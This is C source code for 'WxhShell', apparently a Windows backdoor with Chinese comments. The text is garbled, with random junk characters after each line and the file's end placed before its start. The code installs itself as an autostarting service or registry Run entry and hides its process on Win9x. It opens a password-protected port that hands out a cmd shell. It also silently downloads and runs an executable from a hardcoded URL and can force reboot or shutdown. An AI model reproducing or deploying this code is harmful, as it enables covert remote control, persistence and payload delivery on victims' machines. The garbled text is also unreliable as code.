    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JDD(e_dw  
    else { dW,$yH_  
    closesocket(wsh); opjrU$<]N  
    ExitThread(0); NL0X =i  
    } "npj%O<bd  
    break; )<1M'2  
    } 1r\? uD  
  // 获取shell LC*@ /((  
  case 's': { qdL;Ii<Y0  
    CmdShell(wsh); Ue^upx  
    closesocket(wsh); 5bH@R@3m  
    ExitThread(0); B<H5WI  
    break; .B"h6WMz  
  } ]. IUQ*4t  
  // 退出 /"~CWNa  
  case 'x': { i=o<\ {iV:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +[V?3Gdb  
    CloseIt(wsh); xQm!  
    break; enO5XsIc  
    } 9%$4Ux*q  
  // 离开 "So+  
  case 'q': { `Q, moz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qi w "x,  
    closesocket(wsh); (m-(5 CaJ  
    WSACleanup(); D5]T.8kX(7  
    exit(1); O6YYOmt3  
    break; .?<,J  
        } -wW%+wH  
  } U5Q `r7  
  } 7$\;G82_  
wX<)Fj'  
  // 提示信息 hJkIFyQ{j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I yL2{5  
} ^ bexXYh  
  } W.HM!HQp  
,+oQ 5c(f  
  return; Hb#8?{  
} Mf<P ms\F  
|jU/R  
// shell模块句柄 egYJ.ZzF0  
int CmdShell(SOCKET sock) b=wc-n A  
{ J3oH^  
STARTUPINFO si; u0A.I_  
ZeroMemory(&si,sizeof(si)); TC<_I0jCh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {Ymn_   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2VrF~+  
PROCESS_INFORMATION ProcessInfo; f]qP xRw  
char cmdline[]="cmd"; {3i.U028]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0AZ Vc  
  return 0; ido'<;4>  
} ?N~rms e  
~Ub '5M  
// 自身启动模式 E"b+Q  
int StartFromService(void) 0%<Fc9#  
{ ^}a..@|%W  
typedef struct ^I5k+cL  
{ ol^OvG:TQ  
  DWORD ExitStatus; q$yTG!q*  
  DWORD PebBaseAddress; .Qyq*6T3&  
  DWORD AffinityMask; :Z- = 1b~  
  DWORD BasePriority; uv%T0JA/  
  ULONG UniqueProcessId; 7s4G|N[wR\  
  ULONG InheritedFromUniqueProcessId; ?rKewdGY  
}   PROCESS_BASIC_INFORMATION; ==RYf*d  
~dkS-6q~Q  
PROCNTQSIP NtQueryInformationProcess; Z]@my,+Z;  
k^w!|%a[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nVoL7ew+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QgqR93Ic  
dAh&Z:86\  
  HANDLE             hProcess; eBFsKOtu  
  PROCESS_BASIC_INFORMATION pbi; %|*tL7  
sy.FMy+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); etMQy6E\  
  if(NULL == hInst ) return 0; FMc$?mm  
I% ivY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mp*&{[XoVC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q_$aiE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]o$aGrZ  
}Y[xj{2$O  
  if (!NtQueryInformationProcess) return 0; IE+{W~y\  
C*a>B,H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]u?|3y^ (  
  if(!hProcess) return 0;  _/;vsQB  
=2F;'T\6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bJ4})P&  
*P7 H=Yf&  
  CloseHandle(hProcess); h64<F3}  
!i,Eo-[Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vO`~rUA  
if(hProcess==NULL) return 0; v-B{7 ~=#Z  
mSm:>hBd  
HMODULE hMod; 8oK*NB29  
char procName[255]; ?1T)cd*  
unsigned long cbNeeded; F0t-b%w,  
sG7G$G*ta!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,bzE`6  
pX8TzmIB0  
  CloseHandle(hProcess); H*51GxK  
HL]8E}e\"  
if(strstr(procName,"services")) return 1; // 以服务启动 t6DgWKT6  
K~$A2b95  
  return 0; // 注册表启动 hfE5[  
} RL4J{4K  
{e~#6.$:  
// 主模块 $REz {xgA=  
int StartWxhshell(LPSTR lpCmdLine) ^SM>bJ1Z_  
{ f^Sl(^f  
  SOCKET wsl; ~Ap.#VIc'  
BOOL val=TRUE;  `fMdO  
  int port=0; aO)Cq5  
  struct sockaddr_in door; @`xR1pXQ  
6|:K1bI)  
  if(wscfg.ws_autoins) Install(); #J~   
h]T  
port=atoi(lpCmdLine); 0`UI^Y~Q  
I!1|);li  
if(port<=0) port=wscfg.ws_port; _zt)c!  
OIJNOuI  
  WSADATA data; {P')$f)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G%ytp=N  
~8:q-m_h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dD YD6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y\75cfD  
  door.sin_family = AF_INET; TS4Yzq,f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lt08 E2p9  
  door.sin_port = htons(port); 0"}qND  
dyWj+N5(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q>|&u  
closesocket(wsl); "QSmxr  
return 1; /M!b3bmA  
} qQjd@J}^  
$0 ]xeD0X  
  if(listen(wsl,2) == INVALID_SOCKET) { 8uAA6h+  
closesocket(wsl); PtsQV!  
return 1; 7}#zF]vHNi  
} M5 \flE2  
  Wxhshell(wsl); C- 5QhD  
  WSACleanup(); *).u:>D4  
2(I S*idq  
return 0; wtM1gYl^  
_4,/uG|a O  
} CCDU5l$$  
#mKF)W  
// 以NT服务方式启动 =T!eyGE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 59Lc-JJ  
{ p{|!LcSU$2  
DWORD   status = 0; W_.WMbT  
  DWORD   specificError = 0xfffffff; %9vl  
DwmK?5p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sg`   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VO JA}$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cY mgJBG  
  serviceStatus.dwWin32ExitCode     = 0; Th_PmkvC  
  serviceStatus.dwServiceSpecificExitCode = 0; B@w/wH  
  serviceStatus.dwCheckPoint       = 0; /_SQKpic  
  serviceStatus.dwWaitHint       = 0; ibH!bS{  
hXnfZx%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A(eB\qG  
  if (hServiceStatusHandle==0) return; PH.g+u=v  
H^ 'As;R  
status = GetLastError(); n)|{tb^  
  if (status!=NO_ERROR) V82HO{ D  
{ S5o,\wT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eWWqK9B.-  
    serviceStatus.dwCheckPoint       = 0; ] M`%@ps  
    serviceStatus.dwWaitHint       = 0; ylm # Xa  
    serviceStatus.dwWin32ExitCode     = status; 3 C{A  
    serviceStatus.dwServiceSpecificExitCode = specificError; PI\C*_.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'VgEf:BS  
    return; 2OVN9_D%  
  } j+9;Rvt2  
5'\detV_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @eJ6UML"  
  serviceStatus.dwCheckPoint       = 0; w**~k]In  
  serviceStatus.dwWaitHint       = 0; 3D;?X@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t)|~8xpP  
} <@Z`<T6  
JR_%v=n~x  
// 处理NT服务事件,比如:启动、停止 !mZDukfjQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S86,m =  
{ `L LS|S]  
switch(fdwControl) \VpN:RI  
{ }7*|s+F(f  
case SERVICE_CONTROL_STOP: 7Q^p|;~a  
  serviceStatus.dwWin32ExitCode = 0; _?> x{![  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {o SdVRI  
  serviceStatus.dwCheckPoint   = 0; 6l'J!4*qY  
  serviceStatus.dwWaitHint     = 0; U ,NGV0  
  { YdDP;, DA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  VBUrtx:  
  } GQ(*k)'a  
  return; OxQ5P;O  
case SERVICE_CONTROL_PAUSE: &V| kv"Wwj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Hnhd/ c  
  break; jB<B_"  
case SERVICE_CONTROL_CONTINUE: 3xk_ZK82  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /!?b&N/d)  
  break; EHy15RL  
case SERVICE_CONTROL_INTERROGATE: D V\7KKJE  
  break; qjObu\r  
}; ~R&rQJJeJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :.9Y  
} U&i#cF   
Z`_x|cU?J  
// 标准应用程序主函数 Lk)I;;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tD*k   
{ )T6:@n^]h  
qt(4?_J  
// 获取操作系统版本 uK] -m  
OsIsNt=GetOsVer(); 5dGfO:Dy_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <2d)4@B=  
Pbd[gKX_  
  // 从命令行安装 _@i-?Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); )DmydyQ'  
}uNj#Uf  
  // 下载执行文件 mqHcD8X  
if(wscfg.ws_downexe) { !Q WNHL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7t+d+sQ-l  
  WinExec(wscfg.ws_filenam,SW_HIDE); mPU}]1*p  
}  svx7  
AR!v%Z49i  
if(!OsIsNt) { NE.h/+4  
// 如果时win9x,隐藏进程并且设置为注册表启动  v%$l(  
HideProc(); OK)>QGl  
StartWxhshell(lpCmdLine); ,m[XeI  
} &?@[bD'T  
else #|K{txC   
  if(StartFromService()) e^em^1H( %  
  // 以服务方式启动 X::@2{-@y  
  StartServiceCtrlDispatcher(DispatchTable); \=D+7'3  
else +oh|r'~  
  // 普通方式启动 Nyt*mbd5 {  
  StartWxhshell(lpCmdLine); k-H6c  
[;yKbw!C  
return 0; _CPj] m{  
} cRH(@b Xr  
wo+`WnDh  
z . Z  
43E)ltR=]  
=========================================== 9Nps<+K  
X1d{7H8A2  
5kGQf  
w[F})u]E  
8nn g^  
Mk~U/oq  
" e]nP7TIU  
vp2w^/])u  
#include <stdio.h> GMg! 2CIU  
#include <string.h> D_?Tj  
#include <windows.h> ZR -RzT1  
#include <winsock2.h> u(FOSmNkN  
#include <winsvc.h> &a4FGzR#  
#include <urlmon.h> #q K.AZi  
J90:c@O"w  
#pragma comment (lib, "Ws2_32.lib") Q>\ Ho'  
#pragma comment (lib, "urlmon.lib") pj<aMh  
2Y%7.YX"  
#define MAX_USER   100 // 最大客户端连接数 lX%-oRQ/os  
#define BUF_SOCK   200 // sock buffer sVr|kvn2  
#define KEY_BUFF   255 // 输入 buffer KAXjvZN1  
t #Kucde  
#define REBOOT     0   // 重启 KB^8Z@(+  
#define SHUTDOWN   1   // 关机 V,=5}qozQ  
XlD=<$Nk7  
#define DEF_PORT   5000 // 监听端口 !yT=*Cj4  
qtdkK LT  
#define REG_LEN     16   // 注册表键长度 )^BZ,e  
#define SVC_LEN     80   // NT服务名长度 f,i2U|1pbj  
y{&%]Fq <5  
// 从dll定义API .rG~\Ws  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w_o+;B|I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bl&9O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hxj\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &"W gO!pzD  
>]anTF`d  
// wxhshell配置信息 M*bsA/Z  
struct WSCFG { Y[vP]7-  
  int ws_port;         // 监听端口 2+I5VPf  
  char ws_passstr[REG_LEN]; // 口令 [u;(4sa}  
  int ws_autoins;       // 安装标记, 1=yes 0=no H>D sAHS  
  char ws_regname[REG_LEN]; // 注册表键名 Y@:l!4DI  
  char ws_svcname[REG_LEN]; // 服务名 _f8H%Kgk;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MM]0}65KG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M"W#_wY;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -~aG_Bp!($  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q|P M6ta  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4W|cIcU W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @{#'y4\>  
P=1K u|k  
}; WY QVe_<z:  
QnOs8%HS-  
// default Wxhshell configuration ZQym8iV/  
struct WSCFG wscfg={DEF_PORT, ViyG%Sm  
    "xuhuanlingzhe", |=v,^uo  
    1, %]Nm'"Y`U  
    "Wxhshell", -fV\JJ  
    "Wxhshell", %z.V$2  
            "WxhShell Service", <mki@{;|  
    "Wrsky Windows CmdShell Service", @{{L1[~:0  
    "Please Input Your Password: ", WV'u}-v^  
  1, :CezkD&  
  "http://www.wrsky.com/wxhshell.exe", Z2@e~&L  
  "Wxhshell.exe" fd #QCs  
    }; xjF>AAM_Px  
~:k r;n2  
// 消息定义模块 )7!,_r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %QrOEs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^!C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [qV/&t|O*h  
char *msg_ws_ext="\n\rExit."; M:(.aEe  
char *msg_ws_end="\n\rQuit."; Nt_sV7zzb  
char *msg_ws_boot="\n\rReboot..."; !<=(/4o&P  
char *msg_ws_poff="\n\rShutdown..."; gx^_bHh  
char *msg_ws_down="\n\rSave to "; 6T+ym9  
7[0Mr,^  
char *msg_ws_err="\n\rErr!"; =w;-4  
char *msg_ws_ok="\n\rOK!"; -xLK/QAL  
l" ~ CAw;  
char ExeFile[MAX_PATH]; $<XQv$YS  
int nUser = 0; KztQT9kY  
HANDLE handles[MAX_USER]; Sh5)36  
int OsIsNt; h5T~dGRlR  
Yc?S<  
SERVICE_STATUS       serviceStatus; j~S=kYrGM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g"Hl 30o  
3?<A]"X.  
// 函数声明 }6pr.-J  
int Install(void); qc.TYp  
int Uninstall(void); !5h-$;  
int DownloadFile(char *sURL, SOCKET wsh); 'AWWdz  
int Boot(int flag); i;/;zG^=_  
void HideProc(void); }eA ) m  
int GetOsVer(void); =O"l/\c^  
int Wxhshell(SOCKET wsl); Drf Au  
void TalkWithClient(void *cs); #@w/S:KbJt  
int CmdShell(SOCKET sock); A'uaR?  
int StartFromService(void); /=l!F'  
int StartWxhshell(LPSTR lpCmdLine); l&e{GHz  
O(-6Zqk8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^8bc<c:P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jj;TS%  
3!cenyE  
// 数据结构和表定义 "x.iD,>k  
SERVICE_TABLE_ENTRY DispatchTable[] = pO fw *lD  
{ Het>G{  
{wscfg.ws_svcname, NTServiceMain}, Il>o60u1  
{NULL, NULL} 0~_I9|FN  
}; k:iy()n[  
ollVg/z  
// 自我安装 !mWm@ }Ujg  
int Install(void) ~iiDy;"  
{ i9rv8 "0>  
  char svExeFile[MAX_PATH]; Gg GjBt  
  HKEY key; -R1;(n)  
  strcpy(svExeFile,ExeFile); gaNe\  
_,v?rFLE  
// 如果是win9x系统,修改注册表设为自启动 +t*I{X(  
if(!OsIsNt) { LkK&<z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Vb5d!(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8 l= EL7  
  RegCloseKey(key); yn@wce  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @`nG &U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^x/D8 M  
  RegCloseKey(key); })kx#_o]'d  
  return 0; 1ljcbD)T;  
    } _-#o[>2[  
  } MQcIH2  
} uTz>I'f  
else { {*g{9`   
lb*;Z7fx<'  
// 如果是NT以上系统,安装为系统服务 ">h$(WCK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0*kS\R=P  
if (schSCManager!=0) `'P&={p8  
{ b{ A/M#=  
  SC_HANDLE schService = CreateService -$#2?/uqC  
  ( 4bdCbI  
  schSCManager, D%?9[Qb  
  wscfg.ws_svcname, z[Qe86L  
  wscfg.ws_svcdisp, 65U\;Ew  
  SERVICE_ALL_ACCESS, khT[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m~W[,7NE0&  
  SERVICE_AUTO_START, #u+qV!4  
  SERVICE_ERROR_NORMAL, Y=_*Ai  
  svExeFile, pmurG  
  NULL, xQzW6H|  
  NULL, lgK5E *^  
  NULL, %|:j=/_  
  NULL, VK,{Mu=.9  
  NULL {[/A?AV;F  
  ); ?dv-`)S&  
  if (schService!=0) mea} 9]c  
  { @x A^F%(  
  CloseServiceHandle(schService); :yi} CM4  
  CloseServiceHandle(schSCManager); Q3$DX, 8?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Hd7Vp:KM  
  strcat(svExeFile,wscfg.ws_svcname); v$JW7CKA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v+trHdSBYE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cUd>ah v  
  RegCloseKey(key); jLO$[c`;  
  return 0; P|lDW|}D@  
    } 5! +{JTXa  
  } n) D  
  CloseServiceHandle(schSCManager); 3QVUWhJ  
} +O8zVWr  
} BG.8 q4[  
c3c3T`B  
return 1; 2ve<1+V_  
} 3m-g-  
{%P 2.:  
// 自我卸载 9AQ,@xP|  
int Uninstall(void) agruS'c g  
{ `(P71T  
  HKEY key; x;} 25A|  
*<[\|L:#]Z  
if(!OsIsNt) { UQYHR+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *V+,X  
  RegDeleteValue(key,wscfg.ws_regname); xC0y2+)|  
  RegCloseKey(key); R-,L"Vv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ei=u$S.  
  RegDeleteValue(key,wscfg.ws_regname); <}c7E3Uc  
  RegCloseKey(key); vpdPW%B  
  return 0; :f_oN3F p  
  } 0yMHU[):~  
} %z-so?gF  
} 7Lj:m.0O^  
else { n;vZY  
>o& %via}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6CGk*s  
if (schSCManager!=0) 3fZoF`<a  
{ S5Pn6'w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y@2"[fo3~  
  if (schService!=0) g`.H)36  
  { ~ oq.yn/1  
  if(DeleteService(schService)!=0) { hB aG*J{  
  CloseServiceHandle(schService); {-]K!tWda  
  CloseServiceHandle(schSCManager); H, GnF  
  return 0; >dw 0@T&p  
  } Vj8-[ww!  
  CloseServiceHandle(schService); (G$Q\>  
  } ;Oq>c=9%  
  CloseServiceHandle(schSCManager); eOXu^M>:F  
} :=!6w  
} q;f L@L@-  
'gD./|Z0  
return 1; []yIz1P=j  
} 28+{  
`fJ;4$4  
// 从指定url下载文件 Ad3TD L?  
int DownloadFile(char *sURL, SOCKET wsh) P%Q'w  
{ x{So  
  HRESULT hr; #}~?8/h!  
char seps[]= "/"; 5 /oW/2"  
char *token; #u\~AO?h  
char *file; rxJl;!7G  
char myURL[MAX_PATH]; S+mBVk"-~S  
char myFILE[MAX_PATH]; I1dOMu9  
d>#X+;-k  
strcpy(myURL,sURL); g1y@z8Z{  
  token=strtok(myURL,seps); O ]-8 %  
  while(token!=NULL) K*1]P ar;  
  { 4"iI3y~Gw  
    file=token; *r9D+}Y(4  
  token=strtok(NULL,seps); 86?~N  
  } 9oP  
a%6=sqxE  
GetCurrentDirectory(MAX_PATH,myFILE); X2,v'`U5&  
strcat(myFILE, "\\"); Y-+Kf5_[  
strcat(myFILE, file); Qn-nO_JL  
  send(wsh,myFILE,strlen(myFILE),0); 3G^A^]h  
send(wsh,"...",3,0); i\.(6hf+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8-kR {9r  
  if(hr==S_OK) $`vXI%|.  
return 0; m@L>6;*  
else If'N0^'W  
return 1; Gb"kl.j  
Y=<zR9f`  
} E6 T=lwOZ  
2pSp(@N3  
// 系统电源模块 ajM\\a?  
int Boot(int flag) ]ERAt^$0  
{ V@gG x  
  HANDLE hToken; =0;njL(7;  
  TOKEN_PRIVILEGES tkp; zc,X5R1  
<RH%FhT  
  if(OsIsNt) { LUpkO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4[%_Bnv#AJ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .+u r+" i  
    tkp.PrivilegeCount = 1; 2'Kh>c2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qM 3(OvCt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X_rv}  
if(flag==REBOOT) { eE\T,u5:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KMl3`+i  
  return 0; 9>&p:+D  
} &=T>($3r94  
else { '*&V7:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h{jm  
  return 0; W>b\O">  
} v=&xiwz}  
  } mOyNl -f  
  else { Ar_Yl|a  
if(flag==REBOOT) { W%9~'pXgB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h*Mi/\  
  return 0; fNyXDCl  
} 'fzJw  
else { zpNt[F?~1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]'>jw#|h  
  return 0; Go]y{9+(7  
} I.SMn,N  
} GFnwj<V+{  
m5P@F@  
return 1; n#4T o;CS  
} rV-Xsf7Z  
/P/0\3TCi  
// win9x进程隐藏模块 lX 50JJwk  
void HideProc(void) 6aWnj*dF  
{ `Uvc^  
,Vz-w;oDn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "N}MhcdS  
  if ( hKernel != NULL ) DwTVoCC  
  { n-dC!t   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z`%^?My  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _tQM<~Y]u\  
    FreeLibrary(hKernel); l Yj$ 3  
  } AmCymT3P*e  
2@N-#x '  
return; Dj0D.}`~  
} oXVx9dZ  
i"4;{C{s  
// 获取操作系统版本 ]\ZmK0q<:  
int GetOsVer(void) .i#'IS0c  
{ AJ#YjkO>]  
  OSVERSIONINFO winfo; H>-{.E1bG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (8NE'd8  
  GetVersionEx(&winfo); <Y;w I#C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kD((1v*D$  
  return 1; 7Fzr\&  
  else Wk }}f|O0  
  return 0; PHH,vO[eO  
} dtV7YPz4+  
oGt2n:  
// 客户端句柄模块 25W #mh,'  
int Wxhshell(SOCKET wsl) 2';{o=TXV  
{ >I+p;V$@  
  SOCKET wsh; ]x'd0GH"]  
  struct sockaddr_in client; G) 37?A)  
  DWORD myID; @v\8+0  
_ZK*p+u%  
  while(nUser<MAX_USER) I%z,s{9p  
{ $B]_^  
  int nSize=sizeof(client); _@_EQ!=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X LY>}r  
  if(wsh==INVALID_SOCKET) return 1; 4i"fHVp8  
gmiLjI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G//hZwf0  
if(handles[nUser]==0) lxR]Bh+  
  closesocket(wsh); @)ls+}=Y  
else _]0<G8|Rv  
  nUser++; YlZ&4   
  } pqohLA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !bn=b>+  
&}#zG5eu  
  return 0; ]KUeSg|  
} 9!dG Xq  
+z~bH!$2  
// 关闭 socket < 7*9b  
void CloseIt(SOCKET wsh) ;2gO(  
{ "_+8z_  
closesocket(wsh); p$Floubh]  
nUser--; +'[/eW  
ExitThread(0); p@d_Ru  
} >YcaFnY  
.kfx\,lgm  
// 客户端请求句柄 VLbbn  
void TalkWithClient(void *cs) (L W2S;-  
{ 4S* X=1  
!R[~Z7b6  
  SOCKET wsh=(SOCKET)cs; @"aqnj>+  
  char pwd[SVC_LEN]; ~bw=;xF{3  
  char cmd[KEY_BUFF]; 9?sm-qP  
char chr[1]; yQN^F+.  
int i,j; +Ur75YPh  
X#fjIrn  
  while (nUser < MAX_USER) { {s:"mkR  
Bf3 QB]9  
if(wscfg.ws_passstr) { @oD2_D2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gzDfx&.0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 q|iw  
  //ZeroMemory(pwd,KEY_BUFF); !-JvVdM;(  
      i=0; M'pIAm1p  
  while(i<SVC_LEN) { K[Vj+qdyl  
{}H/N   
  // 设置超时 >H,E3Z  
  fd_set FdRead; ofs'xs1C  
  struct timeval TimeOut; \9R=fA18  
  FD_ZERO(&FdRead); =tGRy@QV'\  
  FD_SET(wsh,&FdRead); CsjrQ-#9yn  
  TimeOut.tv_sec=8;  y&wo"';  
  TimeOut.tv_usec=0; 4)p ID`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,@zw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,}l|_GGj  
;Qq7@(2y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $gCN[%+j  
  pwd=chr[0]; [|\#cVWs  
  if(chr[0]==0xd || chr[0]==0xa) { KC8  
  pwd=0; Io{BO.K*Y  
  break; {f;DhB-jj  
  } PE?ICou  
  i++; CF : !  
    } Zlrbd  
DbYnd%k*4  
  // 如果是非法用户,关闭 socket 5+q dn|9%T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h%sw^;\!  
} 0y2zjXM;3  
 I*n]8c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Qve5qJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rt@O@oDI  
` ^;J<l  
while(1) { I]WvcDJ}C  
b&RsxW7  
  ZeroMemory(cmd,KEY_BUFF); 9!ARr@ ;  
O.{  
      // 自动支持客户端 telnet标准   6lUC$B Y  
  j=0; z]2lT IWg  
  while(j<KEY_BUFF) { $h5QLN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J.]`l\  
  cmd[j]=chr[0]; (#]9{ C;  
  if(chr[0]==0xa || chr[0]==0xd) { & s:\t L  
  cmd[j]=0; lcVG<*gf-  
  break; 7W>(T8K X\  
  } G?Za/G  
  j++; w zi7pJjXh  
    } |+qsO ;  
!=u=P9I  
  // 下载文件 _`,ZI{.J^  
  if(strstr(cmd,"http://")) { /L./-92NH4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u~~ ~@p  
  if(DownloadFile(cmd,wsh)) Emw]`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4Kf{9q#  
  else ]2A2<Q_,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?6h~P:n.  
  } UUF]45t>  
  else { (i1p6  
Nv3u)?A3w  
    switch(cmd[0]) { [&(~1C|C  
  m[BpV.s  
  // 帮助 ~g;)8X;;+  
  case '?': { r~ 2q`l'>  
